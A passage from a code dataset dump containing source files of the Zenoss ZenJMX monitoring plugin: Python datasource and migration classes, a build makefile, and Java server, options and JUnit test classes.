NB: Sometimes the start command will run before the daemon\\n has terminated. If this happens just re-run the command.\\n\\n status - Check the status of a daemon. This will print the current\\n process nuber if it is running.\\n\\n help - display the options available for the daemon\\n\\n\\nHELP\\n\\t exit 1\\n esac\\n exit $?\\n}\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6944873929023743,\n \"alphanum_fraction\": 0.6970633864402771,\n \"avg_line_length\": 38.46938705444336,\n \"blob_id\": \"f590e9bb06a67a449fc57abc9724316990415da5\",\n \"content_id\": \"6e991f8b546b94a3c19428834a73196235654c6d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1941,\n \"license_type\": \"no_license\",\n \"max_line_length\": 75,\n \"num_lines\": 49,\n \"path\": \"/ZenPacks/zenoss/ZenJMX/info.py\",\n \"repo_name\": \"alienth/Zenpacks.zenoss.ZenJMX\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"###########################################################################\\n#\\n# This program is part of Zenoss Core, an open source monitoring platform.\\n# Copyright (C) 2010, Zenoss Inc.\\n#\\n# This program is free software; you can redistribute it and/or modify it\\n# under the terms of the GNU General Public License version 2 or (at your\\n# option) any later version as published by the Free Software Foundation.\\n#\\n# For complete information please visit: http://www.zenoss.com/oss/\\n#\\n###########################################################################\\nfrom zope.interface import implements\\nfrom zope.schema.vocabulary import SimpleVocabulary\\nfrom Products.Zuul.infos import ProxyProperty\\nfrom Products.Zuul.infos.template import RRDDataSourceInfo\\nfrom ZenPacks.zenoss.ZenJMX.interfaces import IJMXDataSourceInfo\\nfrom ZenPacks.zenoss.ZenJMX.datasources.JMXDataSource import JMXDataSource\\n\\ndef jmxProtocolVocabulary(context):\\n return SimpleVocabulary.fromValues(JMXDataSource.protocolTypes)\\n\\nclass JMXDataSourceInfo(RRDDataSourceInfo):\\n implements(IJMXDataSourceInfo)\\n \\n # JMX RMI\\n jmxPort = ProxyProperty('jmxPort')\\n jmxProtocol = ProxyProperty('jmxProtocol')\\n jmxRawService = ProxyProperty('jmxRawService')\\n rmiContext = ProxyProperty('rmiContext')\\n objectName = ProxyProperty('objectName')\\n \\n # Authentication\\n authenticate = ProxyProperty('authenticate')\\n username = ProxyProperty('username')\\n password = ProxyProperty('password')\\n attributeName = ProxyProperty('attributeName')\\n attributePath = ProxyProperty('attributePath')\\n # Operation\\n operationName = ProxyProperty('operationName')\\n operationParamValues = ProxyProperty('operationParamValues')\\n operationParamTypes = ProxyProperty('operationParamTypes')\\n \\n @property\\n def testable(self):\\n \\\"\\\"\\\"\\n We can NOT test this datsource against a specific device\\n \\\"\\\"\\\"\\n return False\\n \\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6219255328178406,\n \"alphanum_fraction\": 0.6289529204368591,\n \"avg_line_length\": 34.54999923706055,\n \"blob_id\": \"36b7dc0b7c32b01eae72f962cf2e0684f2f736e5\",\n \"content_id\": \"fc757013c19678effffe1019baa65a38c9b2eb6d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1423,\n \"license_type\": \"no_license\",\n \"max_line_length\": 75,\n \"num_lines\": 40,\n \"path\": \"/ZenPacks/zenoss/ZenJMX/__init__.py\",\n \"repo_name\": \"alienth/Zenpacks.zenoss.ZenJMX\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"###########################################################################\\n#\\n# This program is part of Zenoss Core, an open source monitoring platform.\\n# Copyright (C) 2007, Zenoss Inc.\\n#\\n# This program is free software; you can redistribute it and/or modify it\\n# under the terms of the GNU General Public License version 2 or (at your\\n# option) any later version as published by the Free Software Foundation.\\n#\\n# For complete information please visit: http://www.zenoss.com/oss/\\n#\\n###########################################################################\\npack = 'ZenJMX'\\n__doc__ = '%s ZenPack. Adds JMX support to Zenoss' % pack\\n\\nimport Globals\\nimport os\\nimport sys\\nfrom os.path import join\\nfrom Products.ZenModel.ZenPack import ZenPackBase\\nfrom Products.CMFCore.DirectoryView import registerDirectory\\n\\nskinsDir = os.path.join(os.path.dirname(__file__), 'skins')\\nif os.path.isdir(skinsDir):\\n registerDirectory(skinsDir, globals())\\n\\nlibDir = os.path.join(os.path.dirname(__file__), 'lib')\\nif os.path.isdir(libDir):\\n sys.path.append(libDir)\\n\\nbinDir = os.path.join(os.path.dirname(__file__), 'bin')\\n\\nclass ZenPack(ZenPackBase):\\n \\\"ZenPack Loader that loads zProperties used by ZenJMX\\\"\\n packZProperties = [\\n ('zJmxManagementPort', 12345, 'int'),\\n ('zJmxAuthenticate', False, 'boolean'),\\n ('zJmxUsername', 'admin', 'string'),\\n ('zJmxPassword', 'admin', 'password'),\\n ]\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.570787787437439,\n \"alphanum_fraction\": 0.5727502107620239,\n \"avg_line_length\": 29.732759475708008,\n \"blob_id\": \"eea50ddeaf4290a23722b345b57facc552754b70\",\n \"content_id\": \"b1b48e3cfe47ad902d298fd6f62c83b7bbe79899\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3567,\n \"license_type\": \"no_license\",\n \"max_line_length\": 75,\n \"num_lines\": 116,\n \"path\": \"/ZenPacks/zenoss/ZenJMX/datasources/JMXDataSource.py\",\n \"repo_name\": \"alienth/Zenpacks.zenoss.ZenJMX\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"###########################################################################\\n#\\n# This program is part of Zenoss Core, an open source monitoring platform.\\n# Copyright (C) 2007, Zenoss Inc.\\n#\\n# This program is free software; you can redistribute it and/or modify it\\n# under the terms of the GNU General Public License version 2 or (at your\\n# option) any later version as published by the Free Software Foundation.\\n#\\n# For complete information please visit: http://www.zenoss.com/oss/\\n#\\n###########################################################################\\n\\n__doc__='''MailTxDataSource.py\\n\\nDefines datasource for JMX collection. Using this data source you can\\ndefine MBean objects and attributes as data sources and data points.\\n\\nPart of ZenJMX zenpack.\\n'''\\n\\nfrom Products.ZenModel.RRDDataSource import RRDDataSource\\nfrom AccessControl import ClassSecurityInfo, Permissions\\nfrom Products.ZenModel.ZenPackPersistence import ZenPackPersistence\\n\\nBase = RRDDataSource\\nclass JMXDataSource(ZenPackPersistence, Base):\\n \\n ZENPACKID = 'ZenPacks.zenoss.ZenJMX'\\n \\n URL = 'service:jmx:rmi:///jndi/rmi://%(manageIp)s:%(jmxPort)s/jmxrmi'\\n\\n JMX = 'JMX'\\n\\n sourcetypes = (JMX,)\\n sourcetype = JMX\\n\\n timeout = 15\\n eventClass = '/Status/JMX'\\n component = JMX\\n protocolTypes = ['RMI', 'JMXMP']\\n hostname = '${dev/id}'\\n expectedIpAddress = ''\\n\\n jmxPort = '${here/zJmxManagementPort}'\\n jmxProtocol = 'RMI'\\n jmxRawService = ''\\n rmiContext = 'jmxrmi'\\n objectName = ''\\n username = '${here/zJmxUsername}'\\n password = '${here/zJmxPassword}'\\n authenticate = '${here/zJmxAuthenticate}'\\n\\n attributeName = ''\\n attributePath = ''\\n operationName = ''\\n operationParamValues = ''\\n operationParamTypes = ''\\n\\n\\n _properties = Base._properties + (\\n {'id':'jmxPort', 'type':'string', 'mode':'w'},\\n {'id':'jmxProtocol', 'type':'string', 'mode':'w'},\\n {'id':'jmxRawService', 'type':'string', 'mode':'w'},\\n {'id':'rmiContext', 'type':'string', 'mode':'w'},\\n {'id':'objectName', 'type':'string', 'mode':'w'},\\n\\n {'id':'authenticate', 'type':'string', 'mode':'w'},\\n {'id':'username', 'type':'string', 'mode':'w'},\\n {'id':'password', 'type':'string', 'mode':'w'},\\n\\n {'id':'attributeName', 'type':'string', 'mode':'w'},\\n {'id':'attributePath', 'type':'string', 'mode':'w'},\\n\\n\\n {'id':'operationName', 'type':'string', 'mode':'w'},\\n {'id':'operationParamValues', 'type':'string', 'mode':'w'},\\n {'id':'operationParamTypes', 'type':'string', 'mode':'w'},\\n )\\n\\n _relations = Base._relations + (\\n )\\n\\n factory_type_information = ( \\n { \\n 'immediate_view' : 'editJMXDataSource',\\n 'actions' :\\n ( \\n { 'id' : 'edit',\\n 'name' : 'Data Source',\\n 'action' : 'editJMXDataSource',\\n 'permissions' : ( Permissions.view, ),\\n },\\n )\\n },\\n )\\n\\n security = ClassSecurityInfo()\\n\\n def __init__(self, id, title=None, buildRelations=True):\\n Base.__init__(self, id, title, buildRelations)\\n\\n def getDescription(self):\\n if self.sourcetype == self.JMX:\\n return self.hostname\\n return RRDDataSource.getDescription(self)\\n\\n\\n def getProtocols(self):\\n \\\"\\\"\\\"return list of supported JMX protocols\\\"\\\"\\\"\\n return JMXDataSource.protocolTypes\\n\\n\\n def zmanage_editProperties(self, REQUEST=None):\\n '''validation, etc'''\\n return Base.zmanage_editProperties(self, REQUEST)\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5813186764717102,\n \"alphanum_fraction\": 0.5879120826721191,\n \"avg_line_length\": 25,\n \"blob_id\": \"8763f950f5c6708f516ec94f5e0f1cf79e18fa74\",\n \"content_id\": \"005abef0cf8c79f71096cc1f6e6eddb7ca09745c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Makefile\",\n \"length_bytes\": 910,\n \"license_type\": \"no_license\",\n \"max_line_length\": 77,\n \"num_lines\": 35,\n \"path\": \"/ZenPacks/zenoss/ZenJMX/GNUmakefile\",\n \"repo_name\": \"alienth/Zenpacks.zenoss.ZenJMX\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"###########################################################################\\n#\\n# This program is part of Zenoss Core, an open source monitoring platform.\\n# Copyright (C) 2007, Zenoss Inc.\\n#\\n# This program is free software; you can redistribute it and/or modify it\\n# under the terms of the GNU General Public License version 2 as published by\\n# the Free Software Foundation.\\n#\\n# For complete information please visit: http://www.zenoss.com/oss/\\n#\\n###########################################################################\\n\\nZENJMX_HOME=$(PWD)\\nLIB_DIR=$(ZENJMX_HOME)/lib\\nTARGET=$(ZENJMX_HOME)/target\\n\\ndefault: install\\n\\n\\ninstall:\\n\\tmvn assembly:assembly\\n\\n\\tmkdir -p ${LIB_DIR} ; \\\\\\n\\tcd ${LIB_DIR} ; \\\\\\n\\ttar xzf ${TARGET}/*-bin.tar.gz\\n\\n\\tcp ${ZENJMX_HOME}/jmxremote_optional.jar ${LIB_DIR}\\n\\tcp ${ZENJMX_HOME}/src/main/resources/log4j.properties ${LIB_DIR}\\n\\trm -rf ${TARGET}\\n\\n\\nclean:\\n\\trm -rf ${LIB_DIR}\\n\\trm -rf ${TARGET}\\n\"\n },\n {\n \"alpha_fraction\": 0.5956804752349854,\n \"alphanum_fraction\": 0.5988566279411316,\n \"avg_line_length\": 33.40983581542969,\n \"blob_id\": \"979fb9707313f809f1d339e1f979d01a6adeb540\",\n \"content_id\": \"6925540a94f00f78a5d15fa9b7ad357e62ac3322\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 6297,\n \"license_type\": \"no_license\",\n \"max_line_length\": 79,\n \"num_lines\": 183,\n \"path\": \"/ZenPacks/zenoss/ZenJMX/src/main/java/com/zenoss/zenpacks/zenjmx/ZenJmxMain.java\",\n \"repo_name\": \"alienth/Zenpacks.zenoss.ZenJMX\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"///////////////////////////////////////////////////////////////////////////\\n//\\n//Copyright 2008 Zenoss Inc \\n//Licensed under the Apache License, Version 2.0 (the \\\"License\\\"); \\n//you may not use this file except in compliance with the License. \\n//You may obtain a copy of the License at \\n// http://www.apache.org/licenses/LICENSE-2.0 \\n//Unless required by applicable law or agreed to in writing, software \\n//distributed under the License is distributed on an \\\"AS IS\\\" BASIS, \\n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \\n//See the License for the specific language governing permissions and \\n//limitations under the License.\\n//\\n///////////////////////////////////////////////////////////////////////////\\npackage com.zenoss.zenpacks.zenjmx;\\n\\nimport org.apache.commons.cli.CommandLine;\\nimport org.apache.commons.cli.CommandLineParser;\\nimport org.apache.commons.cli.Options;\\nimport org.apache.commons.cli.ParseException;\\nimport org.apache.commons.cli.PosixParser;\\nimport org.apache.commons.logging.Log;\\nimport org.apache.commons.logging.LogFactory;\\nimport org.apache.log4j.Level;\\nimport org.apache.log4j.Logger;\\nimport org.apache.xmlrpc.webserver.XmlRpcServlet;\\nimport org.eclipse.jetty.server.Connector;\\nimport org.eclipse.jetty.server.Server;\\nimport org.eclipse.jetty.server.bio.SocketConnector;\\nimport org.eclipse.jetty.servlet.ServletHandler;\\nimport org.eclipse.jetty.servlet.ServletHolder;\\n\\nimport java.io.FileInputStream;\\nimport java.io.IOException;\\nimport java.util.HashMap;\\n\\npublic class ZenJmxMain {\\n\\n private static String ERROR = \\\"40\\\";\\n private static String WARNING = \\\"30\\\";\\n private static String INFO = \\\"20\\\";\\n private static String DEBUG = \\\"10\\\";\\n\\n // logger\\n private static final Log _logger = LogFactory.getLog(ZenJmxMain.class);\\n\\n /**\\n * @param args\\n */\\n public static void main(String[] args) throws Exception\\n {\\n\\n HashMap<String, Level> loggingLevel = new HashMap<String, Level>();\\n loggingLevel.put(ERROR, Level.ERROR);\\n loggingLevel.put(WARNING, Level.WARN);\\n loggingLevel.put(INFO, Level.INFO);\\n loggingLevel.put(DEBUG, Level.DEBUG);\\n\\n Configuration config = Configuration.instance();\\n parseArguments(config, args);\\n\\n if ( config.propertyExists(OptionsFactory.LOG_SEVERITY) )\\n {\\n String levelOpt = config.getProperty(OptionsFactory.LOG_SEVERITY);\\n Level level = loggingLevel.get(levelOpt);\\n if ( level != null )\\n {\\n _logger.info(\\\"setting root logger to \\\" + level);\\n Logger.getRootLogger().setLevel(level);\\n }\\n else\\n {\\n _logger.warn(\\\"Ignoring unknown log severity \\\" + levelOpt);\\n }\\n }\\n\\n String port = config.getProperty(OptionsFactory.LISTEN_PORT,\\n OptionsFactory.DEFAULT_LISTENPORT);\\n\\n Server server = new Server();\\n Connector connector = new SocketConnector();\\n connector.setPort(Integer.parseInt(port));\\n server.setConnectors(new Connector[] { connector });\\n\\n ServletHandler handler = new ServletHandler();\\n\\n ServletHolder holder = new ServletHolder(new XmlRpcServlet());\\n handler.addServletWithMapping(holder, \\\"/\\\");\\n // handler.start();\\n handler.initialize();\\n\\n server.setHandler(handler);\\n try\\n {\\n server.start();\\n }\\n catch (Exception e)\\n {\\n System.exit(10);\\n }\\n server.join();\\n }\\n\\n /**\\n * Parses the command line arguments\\n */\\n private static void parseArguments(Configuration config, String[] args)\\n throws ParseException, NumberFormatException\\n {\\n\\n OptionsFactory factory = OptionsFactory.instance();\\n Options options = factory.createOptions();\\n // parse the command line\\n CommandLineParser parser = new PosixParser();\\n CommandLine cmd = parser.parse(options, args);\\n\\n // get the config file argument and load it into the properties\\n if ( cmd.hasOption(OptionsFactory.CONFIG_FILE) )\\n {\\n String filename = cmd.getOptionValue(OptionsFactory.CONFIG_FILE);\\n try\\n {\\n config.load(new FileInputStream(filename));\\n }\\n catch (IOException e)\\n {\\n _logger.error(\\\"failed to load configuration file\\\", e);\\n }\\n }\\n else\\n {\\n _logger.warn(\\\"no config file option (--\\\"\\n + OptionsFactory.CONFIG_FILE + \\\") specified\\\");\\n _logger.warn(\\\"only setting options based on command \\\"\\n + \\\"line arguments\\\");\\n }\\n\\n if ( _logger.isDebugEnabled() )\\n {\\n for (String arg : args)\\n {\\n _logger.debug(\\\"arg: \\\" + arg);\\n }\\n }\\n\\n // interrogate the options and get the argument values\\n overrideProperty(config, cmd, OptionsFactory.LISTEN_PORT);\\n overrideProperty(config, cmd, OptionsFactory.LOG_SEVERITY);\\n overrideOption(config, cmd, OptionsFactory.CONCURRENT_JMX_CALLS);\\n // tell the user about the arguments\\n _logger.info(\\\"zenjmxjava configuration:\\\");\\n _logger.info(config.toString());\\n }\\n\\n /**\\n * Checks the CommandLine for the property with the name provided. If\\n * present it sets the name and value pair in the _config field.\\n */\\n private static void overrideProperty(Configuration config, CommandLine cmd,\\n String name)\\n {\\n if ( cmd.hasOption(name) )\\n {\\n String value = cmd.getOptionValue(name);\\n config.setProperty(name, value);\\n }\\n }\\n\\n /**\\n * Checks the CommandLine for the option with the name provided. If present\\n * it sets the name and value pair in the _config field using \\\"true\\\" as the\\n * value of the option.\\n */\\n private static void overrideOption(Configuration config, CommandLine cmd,\\n String option)\\n {\\n if ( cmd.hasOption(option) )\\n {\\n config.setProperty(option, \\\"true\\\");\\n }\\n }\\n\\n}\\n\"\n },\n {\n \"alpha_fraction\": 0.5983690023422241,\n \"alphanum_fraction\": 0.6024464964866638,\n \"avg_line_length\": 42.599998474121094,\n \"blob_id\": \"0f81502d7322f9cdd7db341a62f7c8d2410009f2\",\n \"content_id\": \"42700249b6bfb231c2a2566973d99f13d5f4f6b0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1962,\n \"license_type\": \"no_license\",\n \"max_line_length\": 87,\n \"num_lines\": 45,\n \"path\": \"/ZenPacks/zenoss/ZenJMX/migrate/MigrateThreadCountDataPoints.py\",\n \"repo_name\": \"alienth/Zenpacks.zenoss.ZenJMX\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"###########################################################################\\n#\\n# This program is part of Zenoss Core, an open source monitoring platform.\\n# Copyright (C) 2009, Zenoss Inc.\\n#\\n# This program is free software; you can redistribute it and/or modify it\\n# under the terms of the GNU General Public License version 2 or (at your\\n# option) any later version as published by the Free Software Foundation.\\n#\\n# For complete information please visit: http://www.zenoss.com/oss/\\n#\\n###########################################################################\\n\\nfrom Products.ZenModel.migrate.Migrate import Version\\nfrom Products.ZenModel.ZenPack import ZenPackMigration\\nimport logging\\nlog = logging.getLogger(\\\"zen\\\")\\n\\nclass MigrateThreadCountDataPoints(ZenPackMigration):\\n version = Version(3, 1, 5)\\n \\n def migrate(self, pack):\\n log.info(\\\"MigrateThreadCountDataPoints migrate\\\")\\n #find devices with either the java or zenjmx templat\\n #and delete the rrd file for the threadcount datapoint\\n \\n for d in pack.dmd.Devices.getSubDevices():\\n log.debug(\\\"MigrateThreadCountDataPoints device %s\\\" % d.id)\\n\\n for template in d.getRRDTemplates():\\n\\n templateId = template.getPrimaryDmdId()\\n log.debug(\\\"MigrateThreadCountDataPoints template %s\\\" % templateId)\\n\\n dpName = None\\n if templateId == '/Devices/rrdTemplates/Java':\\n dpName = 'Thread Count_ThreadCount'\\n elif templateId == '/Devices/rrdTemplates/ZenJMX':\\n dpName = 'ZenJMX Thread Count_ThreadCount'\\n \\n if dpName:\\n log.debug(\\\"MigrateThreadCountDataPoints dpName %s\\\" % dpName)\\n perfConf = d.getPerformanceServer()\\n log.debug(\\\"MigrateThreadCountDataPoints perfConf %s\\\" % perfConf.id)\\n perfConf.deleteRRDFiles(device=d.id, datapoint=dpName)\\n\"\n },\n {\n \"alpha_fraction\": 0.6366162300109863,\n \"alphanum_fraction\": 0.6427909731864929,\n \"avg_line_length\": 23.725191116333008,\n \"blob_id\": \"3634507593f64a3429e6aac20bb5c4cc2e287d21\",\n \"content_id\": \"a1bea20ffc42b91ffad1965ff48c8a42ae6f7657\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 3239,\n \"license_type\": \"no_license\",\n \"max_line_length\": 75,\n \"num_lines\": 131,\n \"path\": \"/ZenPacks/zenoss/ZenJMX/src/test/java/com/zenoss/zenpacks/zenjmx/call/SummaryTest.java\",\n \"repo_name\": \"alienth/Zenpacks.zenoss.ZenJMX\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"///////////////////////////////////////////////////////////////////////////\\n//\\n//Copyright 2008 Zenoss Inc \\n//Licensed under the Apache License, Version 2.0 (the \\\"License\\\"); \\n//you may not use this file except in compliance with the License. \\n//You may obtain a copy of the License at \\n// http://www.apache.org/licenses/LICENSE-2.0 \\n//Unless required by applicable law or agreed to in writing, software \\n//distributed under the License is distributed on an \\\"AS IS\\\" BASIS, \\n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \\n//See the License for the specific language governing permissions and \\n//limitations under the License.\\n//\\n///////////////////////////////////////////////////////////////////////////\\npackage com.zenoss.zenpacks.zenjmx.call;\\n\\nimport junit.framework.*;\\nimport junit.textui.TestRunner;\\n\\nimport java.util.Map;\\nimport java.util.HashMap;\\n\\n\\n/**\\n * <p> Tests the methods in the Summary class. Don't feel reassured\\n * though - the extensiveness of the test is lacking... </p>\\n *\\n * <p>$Author: chris $</p>\\n *\\n * @author Christopher Blunck\\n * @version $Revision: 1.6 $\\n */\\npublic class SummaryTest\\n extends TestCase {\\n\\n // the configuration for the Summary\\n private static final String DEVICE_ID = \\\"device\\\";\\n private static final String OBJECT_NAME = \\\"objectName\\\";\\n private static final String CALL_SUMMARY = \\\"single-value attribute call\\\";\\n private static final String DATA_SOURCE_ID = \\\"dataSourceId\\\";\\n private static final Map<String, Object> RESULTS;\\n private static final Map<String, String> TYPE_MAP;\\n private static final long RUNTIME = 12L;\\n private static final boolean CANCELLED = false;\\n private static final int CALL_ID = 34;\\n\\n // the summaries we will test\\n private static Summary _summ1;\\n private static Summary _summ2;\\n\\n static {\\n RESULTS = new HashMap<String, Object>();\\n RESULTS.put(\\\"a\\\", \\\"a\\\");\\n\\n TYPE_MAP = new HashMap<String, String>();\\n TYPE_MAP.put(\\\"a\\\", \\\"java.lang.String\\\");\\n }\\n\\n\\n /**\\n * Constructs a test that invokes a specific test method\\n */\\n public SummaryTest(String method) {\\n super(method);\\n }\\n\\n\\n /**\\n * Creates a Summary based on default values\\n */\\n private Summary createSummary() {\\n Summary s = new Summary();\\n\\n s.setDeviceId(DEVICE_ID);\\n s.setObjectName(OBJECT_NAME);\\n s.setCallSummary(CALL_SUMMARY);\\n s.setDataSourceId(DATA_SOURCE_ID);\\n s.setResults(RESULTS);\\n s.setRuntime(RUNTIME);\\n s.setCancelled(CANCELLED);\\n s.setCallId(CALL_ID);\\n\\n return s;\\n }\\n\\n\\n /**\\n * Called before each method is invoked\\n */\\n public void setUp() { \\n _summ1 = createSummary();\\n _summ2 = createSummary();\\n }\\n\\n\\n /**\\n * Called after each method finishes execution\\n */\\n public void tearDown() { }\\n\\n\\n /**\\n * Defines the list of test methods to run. By default we'll run\\n * 'em all.\\n */\\n public static Test suite() {\\n TestSuite suite = new TestSuite(SummaryTest.class);\\n return suite;\\n }\\n\\n \\n /**\\n * Runs all the tests via the command line.\\n */\\n public static void main(String[] args) {\\n TestRunner.run(SummaryTest.class);\\n }\\n\\n\\n /*\\n * TEST METHODS BEGIN HERE\\n */\\n\\n /**\\n * Tests the equals() method\\n */\\n public void testEquals() {\\n assertTrue(_summ1.equals(_summ2));\\n }\\n\\n}\\n\"\n },\n {\n \"alpha_fraction\": 0.6598079800605774,\n \"alphanum_fraction\": 0.6646090745925903,\n \"avg_line_length\": 31.399999618530273,\n \"blob_id\": \"0271b7c4f22a6aad136d1834114d21b8f2dd9747\",\n \"content_id\": \"7bf3742483284557e940fb854e757d73ed893a7a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 2916,\n \"license_type\": \"no_license\",\n \"max_line_length\": 103,\n \"num_lines\": 90,\n \"path\": \"/ZenPacks/zenoss/ZenJMX/src/main/java/com/zenoss/zenpacks/zenjmx/OptionsFactory.java\",\n \"repo_name\": \"alienth/Zenpacks.zenoss.ZenJMX\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"///////////////////////////////////////////////////////////////////////////\\n//\\n//Copyright 2008 Zenoss Inc \\n//Licensed under the Apache License, Version 2.0 (the \\\"License\\\"); \\n//you may not use this file except in compliance with the License. \\n//You may obtain a copy of the License at \\n// http://www.apache.org/licenses/LICENSE-2.0 \\n//Unless required by applicable law or agreed to in writing, software \\n//distributed under the License is distributed on an \\\"AS IS\\\" BASIS, \\n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \\n//See the License for the specific language governing permissions and \\n//limitations under the License.\\n//\\n///////////////////////////////////////////////////////////////////////////\\npackage com.zenoss.zenpacks.zenjmx;\\n\\nimport org.apache.commons.cli.Options;\\nimport org.apache.commons.cli.Option;\\n\\n\\n/**\\n * <p> Factory for creating Options. The command line option\\n * information used to be included in the Main class but it was\\n * getting too big and bulky so I moved it into a factory. </p>\\n *\\n * <p>$Author: chris $</p>\\n *\\n * @author Christopher Blunck\\n * @version $Revision: 1.6 $\\n */\\npublic class OptionsFactory {\\n // configuration options\\n public static final String LISTEN_PORT = \\\"zenjmxjavaport\\\";\\n public static final String CONFIG_FILE = \\\"configfile\\\";\\n public static final String LOG_SEVERITY = \\\"v\\\";\\n public static final String CONCURRENT_JMX_CALLS = \\\"concurrentJMXCalls\\\";\\n \\n // default values (also set in zenjmx.conf)\\n public static final String DEFAULT_LISTENPORT = \\\"9988\\\";\\n\\n // singleton instance\\n private static OptionsFactory _instance;\\n\\n \\n /**\\n * Private constructor to enforce singleton pattern\\n */\\n private OptionsFactory() { }\\n\\n\\n /**\\n * Creates an Option (which is by definition ... not required)\\n * @param name the short name of the argument\\n * @param hasValue set to true to indicate the option has a value\\n * associated with it. set to value if the option does not have a\\n * value (e.g. --cycle or --help)\\n * @param desc a description of the option\\n */\\n private Option createOption(String name, boolean hasValue, String desc) {\\n Option option = new Option(name, hasValue, desc);\\n return option;\\n }\\n\\n\\n /**\\n * Creates command line options\\n */\\n public Options createOptions() {\\n Options o = new Options();\\n\\n // everything is treated as an optional argument\\n o.addOption(createOption(CONFIG_FILE, true, \\\"configuration file\\\"));\\n o.addOption(createOption(LISTEN_PORT, true, \\\"Port to listen for requests\\\"));\\n o.addOption(createOption(LOG_SEVERITY, true, \\\"Severity for logging\\\"));\\n o.addOption(createOption(CONCURRENT_JMX_CALLS, false, \\\"Enable concurrent calls to a JMX server\\\"));\\n return o;\\n }\\n\\n\\n /**\\n * Singleton accessor method\\n */\\n public static OptionsFactory instance() {\\n if (_instance == null) {\\n _instance = new OptionsFactory();\\n }\\n\\n return _instance;\\n }\\n}\\n\"\n },\n {\n \"alpha_fraction\": 0.6692573428153992,\n \"alphanum_fraction\": 0.6761658191680908,\n \"avg_line_length\": 40.32143020629883,\n \"blob_id\": \"cf9eb7bcdb2fa7081926b0e840d5f9fc32d14d76\",\n \"content_id\": \"9bbce2a54e17ca41548b409a4e52686755128919\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1158,\n \"license_type\": \"no_license\",\n \"max_line_length\": 75,\n \"num_lines\": 28,\n \"path\": \"/ZenPacks/zenoss/ZenJMX/migrate/ConvertJMXDataSources.py\",\n \"repo_name\": \"alienth/Zenpacks.zenoss.ZenJMX\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"###########################################################################\\n#\\n# This program is part of Zenoss Core, an open source monitoring platform.\\n# Copyright (C) 2008, Zenoss Inc.\\n#\\n# This program is free software; you can redistribute it and/or modify it\\n# under the terms of the GNU General Public License version 2 or (at your\\n# option) any later version as published by the Free Software Foundation.\\n#\\n# For complete information please visit: http://www.zenoss.com/oss/\\n#\\n###########################################################################\\n\\nimport Globals\\nfrom Products.ZenModel.migrate.Migrate import Version\\nfrom Products.ZenModel.ZenPack import ZenPack, ZenPackDataSourceMigrateBase\\nfrom ZenPacks.zenoss.ZenJMX.datasources.JMXDataSource import JMXDataSource\\n\\nclass ConvertJMXDataSources(ZenPackDataSourceMigrateBase):\\n version = Version(3, 1, 2)\\n \\n # These provide for conversion of datasource instances to the new class\\n dsClass = JMXDataSource\\n oldDsModuleName = 'Products.ZenJMX.datasources.JMXDataSource'\\n oldDsClassName = 'JMXDataSource'\\n \\n # Reindex all applicable datasource instances\\n reIndex = True\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6184942126274109,\n \"alphanum_fraction\": 0.6237493753433228,\n \"avg_line_length\": 31.022653579711914,\n \"blob_id\": \"77014a67596cba199c429b229e42586618203fe1\",\n \"content_id\": \"cc05ffc2ec2e09647c245b435e6d0d44eb51ee38\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 9895,\n \"license_type\": \"no_license\",\n \"max_line_length\": 93,\n \"num_lines\": 309,\n \"path\": \"/ZenPacks/zenoss/ZenJMX/src/test/java/com/zenoss/zenpacks/zenjmx/call/OperationCallTest.java\",\n \"repo_name\": \"alienth/Zenpacks.zenoss.ZenJMX\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"///////////////////////////////////////////////////////////////////////////\\n//\\n//Copyright 2008 Zenoss Inc \\n//Licensed under the Apache License, Version 2.0 (the \\\"License\\\"); \\n//you may not use this file except in compliance with the License. \\n//You may obtain a copy of the License at \\n// http://www.apache.org/licenses/LICENSE-2.0 \\n//Unless required by applicable law or agreed to in writing, software \\n//distributed under the License is distributed on an \\\"AS IS\\\" BASIS, \\n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \\n//See the License for the specific language governing permissions and \\n//limitations under the License.\\n//\\n///////////////////////////////////////////////////////////////////////////\\npackage com.zenoss.zenpacks.zenjmx.call;\\n\\nimport static com.zenoss.zenpacks.zenjmx.call.CallFactory.DATA_POINT;\\nimport junit.framework.*;\\nimport junit.textui.TestRunner;\\n\\nimport java.util.Arrays;\\nimport java.util.Collections;\\nimport java.util.HashMap;\\nimport java.util.List;\\nimport java.util.ArrayList;\\nimport java.util.Map;\\n\\nimport javax.management.MBeanServer;\\nimport 